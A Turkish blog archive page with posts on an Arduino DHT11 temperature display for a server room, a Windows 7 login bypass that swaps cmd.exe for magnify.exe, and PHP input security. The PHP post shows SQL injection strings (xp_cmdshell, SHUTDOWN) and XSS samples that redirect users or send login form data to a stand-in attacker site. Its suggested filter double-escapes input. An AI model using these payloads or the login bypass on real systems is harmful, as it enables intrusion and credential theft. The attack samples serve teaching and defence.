Sıcaklık/Nem Kontrol ve Uyarı Sistemi – 2

Kategori: Arduino, C#, Güvenlik, Referanslar
Tarih: 13th Mart 2015

Bu yazıda artık ortamın sıcaklık ve nem değerlerini ölçüp bilgisayarımıza aktaracak olan devreyi tasarlamaya geçebiliriz. Burada devreyi bağımsız iki parça halinde ele alabiliriz. Birinci parça sıcaklık sensöründen verinin okunması. İkinci parça okunan değerin 7 segmentli göstergede gösterilmesi.

Önce sıcaklık sensörü kısmını halledelim. Biz burada DHT11 sıcaklık ve nem sensörünü kullanacağız. İsteyen buradan sensörü detaylı inceleyebilir. Sensörü devremize aşağıdaki gibi bağlıyoruz.

dht11_arduio_baglanti_semasi

 

Şimdi ikinci kısma geçelim. Bu kısım biraz daha karışık. Önce 7 segmentli göstergeden başlayalım. Aşağıda elemanın yapısı eklenmiştir.

 

ortak-katot-display-baglanti-semasi

 

İncelenince görülecektir ki 7 segmentli gösterge için 1 gönderiyim 1 yazsın 3 gönderiyim 3 yazsın gibi bir yapı yok. Birbirinden bağımsız 7 tane led var. Mesela 1 yazmak için GND bağlantılarını yaptıktan sonra, 6. ve 4. bacaktan 5V vermelisiniz. Her sayı için bu ayrı ayrı hesaplanıp yazılım tarafında bir fonksiyon ile çözülebilir. Ama bu şekilde Arduino tarafında 7 pin meşgul edecektir. İki tane digit bağlarsak 14 pin. Bu çok saçma bir kullanım olur. Ne yapalım. İlk akla gelen bir lojik devre tasarlayıp binary gelen sayıyı 7 segmentli göstergede yazdırmak. Bu şekilde 4 pin kullanarak tüm rakamları yazdırırız. (Örneğin pinlerden 0011 verildiğinde göstergede 3 yazdırmak) Bunun için bir devre tasarlamamıza gerek yok zaten bu işi yapan bir entegre var. 4511 entegresi. Bu entegre 4 pin ile binary gelen değeri 7 segmentli göstergede yazdırmak için tasarlanmış. Buradan datasheeti inceleyebilirsiniz. Bacak bağlantıları ve açıklama tablosu aşağıda.

 

4511

pin isim

bağlantıları

1 B girişi B girişi
2 girişi C C girişi
3 lamba test girişi Lojik-1
4 ripple girişi Lojik-1
5 aktif etme girişi Lojik-0
6 girişi D D girişi
7 A girişi A girişi
8 VSS 0 V güç kaynağı 0 V
9 segment e 7-segment ortak katot ekran, e
10 segment d 7-segment ortak katot ekran, d
11 segment c 7-segment ortak katot ekran, c
12 segment b 7-segment ortak katot ekran, b
13 segment a 7-segment ortak katot ekran, a
14 segmenti g 7-segment ortak katot ekran, g
15 segment f 7-segment ortak katot ekran, f
16 VDD + V güç kaynağı +9 V (aralık 5-15 V)

 

Aşağıdaki örnek bir bağlantı görülebilir.

 

4511-proteus

 

Bu şekilde sadece 4 pini kullanarak tüm rakamları gösterebiliyoruz. Hala bir sorun var. Sıcaklık değeri göstereceğimiz için iki rakama ihtiyacımız var. İki göstergeyi iki ayrı entegre ile tasarlayıp toplam 8 pin kullanarak bunu yapabiliriz. Ama bu çok hızlı olan donanımımızı çok hantalca kullanmak olur. Bunun yerine bilgisayarların mükemmel hızlı olmasını kullanarak maliyeti düşürebiliriz. Tek entegrenin çıkışılarını iki göstergeye birden versek. Sonra bu göstergelerden ilkini bir kaç mili saniye, ardından diğerini bir kaç milisaniye yakıp söndürsek. Ve yanma anlarında da entegreye ilgili rakamları göndersek aynı entegreyi kullanarak iki ayrı rakamı gösterebilmiş oluruz. Göstergeleri yakıp söndürme işlemleri içinde GND bacağını kullanırız. Bir katot göstergede GND bacağından 5V verir isek gösterge söner, toprak verirsek gönderdiğimiz rakam yanar.

 

Herşey tamam artık devreyi tasarlayıp uygulamamızı yazabiliriz. Sıcaklık sensörünü bağlamıştık. Şimdi entegreyi ve digitleri bağlayalım.

 

 

Scanned-image-0

Scanned-image-1-0

 

Devreyi resimdeki gibi oluşturalım. Karmaşık görüntüyü engellemek için 4511 entegresinden diğitlere giden kablolar çizilmemiştir; harflendirilmiştir. Artık programımızı yazıp arduino’ya yükleyebiliriz. Program kodları aşağıdaki gibidir. Bu uygulama  bir yandan, sensörden okuduğu sıcaklık değerini digitlere yazdırır. Diğer yandan da bağlı bulunduğu bilgisayarın seri portunu dinler. Eğer seri porttan “a”, “b”, yada “c” verisi gelirse yine seri porttan sırsaıyla sıcaklık, nem ve çiğ oluşturma verisini yazar. Bu konu ile ilgili ayarlamaları serialEvent() fonksiyonundan görebilirsiniz.

Bu serinin bir sonraki yazısında bir wcf servis yazacağız. Bu servis gelen isteklere göre sıcaklık nem ve çiğ oluşma noktası verisini seri port aracılığıyla arduino devremizden okuyup istemciye iletecek. Bu şekilde oda sıcaklık vs bilgilerini hem digitler ile odada gösterip hemde masaüstü uygulama, android cihaz vs. gibi farklı platformlara servis edebiliyor olacağız.

 


#include <SimpleTimer.h>
#include <dht11.h> 

dht11 SicaklikSensoru;
SimpleTimer timer;

int pinOtele = 10;
int digitEntegreIzinPin = 9;
int digitBirIzinPin = 8;
int digitSifirIzinPin = 7;
int ZamanKesmesiSuresi = 20000;

float sicaklik = 0, nem = 0, cig = 0;

void digiteYaz(int rakam)
{
 if(rakam < 0 || rakam > 9) return;

 int deger, cikis;

 for(int i = 3; i >= 0; i--)
 {
 deger = pow(2, i) + (i > 1 ? 1 : 0); 

 digitalWrite(i + pinOtele, deger > rakam ? LOW : HIGH);

 rakam -= deger > rakam ? 0 : deger;
 }

 digitalWrite(digitEntegreIzinPin, HIGH);
}

void digitSec(int d)
{
 boolean kontrol;
 if(d == 0)
 kontrol = false;
 else if(d == 1)
 kontrol = true;

 digitalWrite(digitBirIzinPin, !kontrol);
 digitalWrite(digitSifirIzinPin, kontrol);
}

void digitlereYaz(int sayi)
{
 if(sayi < 0 || sayi > 99)
 return;

 int bekleme = 5;

 digitSec(0);
 digiteYaz((sayi > 9 ? sayi % 10 : sayi));
 delay(bekleme);
 digitalWrite(digitEntegreIzinPin, LOW);
 delay(bekleme);

 digitSec(1);
 digiteYaz((sayi > 9 ? sayi/ 10 : 0));
 delay(bekleme);
 digitalWrite(digitEntegreIzinPin, LOW);
 delay(bekleme);
}

void timerInterrupt()
{
 SicaklikSensoru.read(2);

 sicaklik = (float)SicaklikSensoru.temperature;
 nem = (float)SicaklikSensoru.humidity;
 cig = (float)SicaklikSensoru.dewPoint();
}

void serialEvent()
{
 char istek = (char)Serial.read();

 if(SicaklikSensoru.read(2) != 0)
 {
 Serial.print("Hata: 1|Sensor Okunamadı");
 return;
 }

 switch(istek)
 {
 case 'a':
 sicaklik = (float)SicaklikSensoru.temperature;
 Serial.println(sicaklik, 2);
 break; 

 case 'b':
 nem = (float)SicaklikSensoru.humidity;
 Serial.println(nem, 2);
 break; 

 case 'c':
 cig = (float)SicaklikSensoru.dewPoint();
 Serial.println(cig, 2);
 break; 

 default:
 Serial.println("Hata: 2|Gecersiz Istek");
 }
}

void setup()
{
 Serial.begin(9600);

 //Pinler Aktif
 for(int i = 0; i <= 3; i++)
 pinMode(i + pinOtele, OUTPUT);

 //Digitler Aç/Kapat
 pinMode(digitEntegreIzinPin, OUTPUT);
 pinMode(digitBirIzinPin, OUTPUT);
 pinMode(digitSifirIzinPin, OUTPUT);

 timerInterrupt();
 timer.setInterval(ZamanKesmesiSuresi, timerInterrupt);
}

void loop()
{
 digitlereYaz((int)sicaklik); 

 timer.run();
}

Yorumlar: 0 »

Sıcaklık/Nem Kontrol ve Uyarı Sistemi – 1

Kategori: Arduino, C#, Güvenlik, Referanslar
Tarih: 15th Aralık 2014

Yazmaya uzun bi süre ara verdikten sonra ancak bugün birşeyler yazmaya fırsat bulabildim. Bu yazıda bir sıcaklık/nem kontrol devresi ve sıcaklığın farklı platformlara sunulabilmesi hakkında planlamalar yapcağız. İhtiyacımız sıcaklığı farklı sebeplerden dolayı sık sık yükselen server odasını kontrol altında tutmak. Öngörülemeyen bi sıcaklık artışı olduğunda da ilgili personele bilgi verilmesi.

 

Sıcaklık kontrol devresi için ilk başlarda 16F877A mikrodenetleyici ve uyumlu bir sıcaklık sensörü kullanmayı planlamıştım. Ama biraz araştırma yaptıktan sonra Arduino diye birşey gördüm. Bu mikrodenetleyici dünyası için bir framework diye düşünülebilir. Açık kaynak, İtalyan menşeli bir proje. Açık kaynak olduğundan dolayı piyasada çok farklı kombinasyonlarda hatta çin üretimi ürünler bile mevcut. Peki tam nedir bu Arduino. Bu, üzerinde bir mikrodenetleyicisi olan, özel tasarım bir kart. Bu kart sayesinde bir çok özel yazılmış fonksiyonu bu microdenetleyici üzerinde çalıştırabiliyor, kart üzerindeki portları kullanarak da microdenetleyici ile çok rahat bir şekilde iletişim kurabiliyor hatta bir bilgisayar ile seri port iletişimine geçebiliyorsunuz. Buda sizi hem devre kurma çabasından kurtarırken hem de projelerini daha hızlı kodlayabilme imkanı sunuyor. Dezavantajı yok mu? Var tabiki. Mikrodenetleyici üzerinde halihazırda çalışan bir framework olduğundan dolayı bu donanımı 100% verimle kullanamıyorsunuz. Biraz daha yavaş kalıyor. Bu durum C/C++ ve C# dillerinin kıyaslanması gibi düşünülebilir. Daha yavaş olduğu için -bazı özel projeler hariç- C# dan vazgeçmezsiniz herhalde.

 

Arduino’ ya uyumlu bir sensör ile (DHT11) sıcaklığı ve nemi okuyup, 7 segmentli digitler kullanarak yazdırmayı planlıyorum. Ayrıca okunan değerleri seri port üzreinden server odasındaki bir bilgisayarada ileteceğim. İş buradan sonra sizin planınıza kalmış. Ben bütün platformlardan bu bilgiye erişmek istediğim için; bu sunucu üzerinden bilgileri servis edeceğim. Devam eden yazılarımda tarasımları ve kodları paylaşarak bunu bir seri yazı halinde yazmayı planlıyorum. Yapılacak işin kaba taslak bir çizimi aşağıdadır. Herkese iyi günler.

 

Scanned-image-0

Yorumlar: 1 »

Windows 7 Şifre Unutma Alternatif Çözüm

Kategori: Güvenlik
Tarih: 5th Aralık 2013

Windows 7 işletim sistemi için şifre unutmakla ilgili değişik çözümler, sıfırlama diskleri vs internette bolca mevcut. Geçmişte bi blokta bu konuyla ilgili alternatif bi yazı okumuştum. Bi arkadaşımın şifresini unutmasıyla denediğim çözümü paylaşmak istiyorum. Şifreyi unuttuktan sonra eski şifrenin ne olduğunu bulmak neredeyse imkansız ama komut satırına bir satır kod yazarak eski şifreyi hatırlamadan yeni bir şifre oluşturulabilir.

net user "kullanci_adi" yeni_sifre

Sorun şifreyi unuttuktan sonra komut satırına ulaşamıyor olmak. Bunun içinde şöyle bir çözüm sunulmuş. Windowsun parola isteme ekranında sol alt köşedeki butona tıklattığımızda erişim kolaylığı penceresi açılıyor. Bu pencere aracılığıylada büyütci çalıştırabiliyorsunuz. Büyüteç /Windows/System32 dizini altındaki “magnify.exe” ismindeki bir program. Biz komut satırını başlatan “cmd.exe” programının adını “magnify.exe” diye değiştirebilirsek işletim sistemi büyüteci açtığını zannederek bize komut satırını çalıştıracaktır. Bizde oradan şifremizi değiştirebiliriz.

“cmd.exe” nin adının değiştirebilmek için herhangi bir live işletim sistemi kullanılabilir. Yada alternatif olarak Windows 7 yükleme cd’si ile bilgisayarı başlatıp “Bilgisayarınızı Onarın” seçeneğini tıklatarak açılan pencereden “Driver yükle” butonuna basarsanız bu pencereden de dosya sistemini görebilir ve isim değiştirme işlemlerini yapabilirsiniz.

Not: Her ihtimale karşı  “magnify.exe” dosyasını yedekelyiniz ve “cmd.exe” dosyasının bir kopyasını oluşturup bunun ismini değiştiriniz.

Veriyi Filtrelemek

Kategori: Güvenlik, Php
Tarih: 1st Haziran 2011

Global değişkenleri kapatmak isimli yazıda kullanıcıların kafalarına göre değişkenler oluşturmalarını engellemiştik. Artık sadece bizim istediğimiz verileri girebilirler. Ama buda güvenli değildir. Sql enjeksiyon yöntemiyle veri tabanımıza vs erişebilir, XSS yöntemiyle sitenize giren kullanıcıların tarayıcılarında istedikleri işlemleri yapabilirler. Şimdi bu yöntemleri ve korunma yollarını inceleyelim.

Sql Enjeksiyon

 

Kullanıcılardan aldığımız bilgilerle veri tabanından sorgulama yaparken oluşabilecek bir güvenlik açığıdır. Bir kullanıcı girişi esnasında kullanıcı ismine göre bilgilerini okuduğumuzu düşünelim.

Select * from kullanici where kullaniciAdi=’$kAdi’

şeklinde bir sql cümlesi kullanırız. $kAdi kullanıcının girmiş olduğu kullanıcı isminin tutulduğu değişkendir. Eğer kullanıcı ahmet, mehmet gibi normal bir kullanıcı ismi giriyorsa sorun yok ama kullanıcı adı yerine ‘ or id=1 or ‘ yada ‘or 1=1 or ‘ şeklinde bir ifade girerse sql cümlesi aşağıdaki gibi değişir.

Select * from kullanici where kullaniciAdi=’ ‘ or id=1 or ‘

Yani bizim kodlarımızın arasına kendi kodunu gömmüş olur. Mesela kullanıcı ismine ‘; EXEC master..xp_cmdshell ‘dir c: yazarak C sürücümüze ulaşabilir yada ‘; SHUTDOWN WITH NOWAIT bu şekilde sql serverı kapatabilir. Görüldüğü gibi sadece veri tabanımıza sızmakla kalmaz bilgisayarda da bazı zararlı işlemler yapabilir. Bundan sonrası artık kullanıcının hayal gücüne kalmış.

XSS (Cross Site Scripting)

 

Buda bir diğer güvenlik açığıdır. Javascript kodları direk kullanıcıların tarayıcılarında yorumlanır.  Mesela bir üyenin girdiği yorumu filtrelemeden direk sayfada gösterdiğimizi düşünelim.

<script type="text/javascript">
    window.location="http://www.saldirganinsitesi.com";
</script>

Eğer yorum olarak bu kodu yazarsa kullanıcılar o sayfayı görüntülemek istediğinde direk saldırganın sitesine yönlenecektir.

Yada saldırganın girdiği verinin görüntülendiği sayfada bir kullanıcı giriş formunun olduğunu varsayalım ve formun idsi girisForm olsun

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.js"></script>
<script type="text/javascript">
    $(document).ready(function(){
        $("#girisForm").attr("action", "http://www.saldirganinsitesi.com/veri/");
    });
</script>

Bu ifade ile artık kullanıcı girişi için girdiğiniz veriler direk saldırganın sitesine gönderilecektir.

Sitenizin güvenliği için kullanıcıdan aldığınız verileri kullanmadan (yada veri tabanına kaydetmeden) önce filtrelemelisiniz.

function oku($isim,$method='post')
{
    switch($method)
    {
        case 'post':
            $veri = $_POST[$isim];
            break;
        case 'get':
            $veri = $_GET[$isim];
            break;
    }

    $veri=urldecode($veri);  //Get ile gelen donusturulmus karakterleri düzelt
    $veri=htmlspecialchars($veri);  //Html özel karakterlerini dönüştür
    $veri=addslashes($veri);  //tek tırnak ve çift tırnak karakterlerini zararsız hale getir
    $veri=mysql_real_escape_string($veri);  //sql enjeksiyonu engelle
    return $veri;
}

//Örnek kullanım:
$isim=oku('isim');

Bu şekilde sitenizi sql enjeksiyon ve xss saldırılarına karşı koruyabilirsiniz.

Global değişkenleri kapatmak

Kategori: Güvenlik, Php
Tarih: 27th Mayıs 2011

Php de global değişkenler açık ise; Post yada Get methoduyla gelen verileri hiç bir tanımlama yapmadan direk tanımlanmış bir değişkenmiş gibi kullanabilirsiniz.

Mesela a.php dosyasına get ile gönderdiğim veriyi hiç bir tanımlama yapmadan direk okuyabilirim:

 


<?php
echo $isim;
?>

Bu her ne kadar ilk bakışta bir kolaylık gibi görünsede sistem için bir açık demektir. Bir kullanıcı giriş kontrolü yazdığımızı düşünelim  kontrol değişkenini tahmin edebilen birisi bir kaç denemede sisteminize girebilecektir. Yani sayfayı “a.php?giris=1” olarak çağıran bir kullanıcı hiç kontrole uğramadan üye işlemlerini yapabilecektir.

 

<?php
if($kullaniciAd=='kullanici' && $sifre=='sifre')
    $giris=1;

if(isset($giris))
    echo 'Üye';//Üye ise bu bloğa gelir
else
    echo 'Üye değil';//Üye değil ise bu bloğa gelir
?>

Örnekler çoğaltılabilir. Bunu engellemek için global değişkenleri kapatmalıyız. php.ini dosyanızın “register_globals” ile başlayan satırını bulun ve o satırı “register_globals = Off” şeklinde değiştirip bilgisayarı yeniden başlatın.

Optimization WordPress Plugins & Solutions by W3 EDGE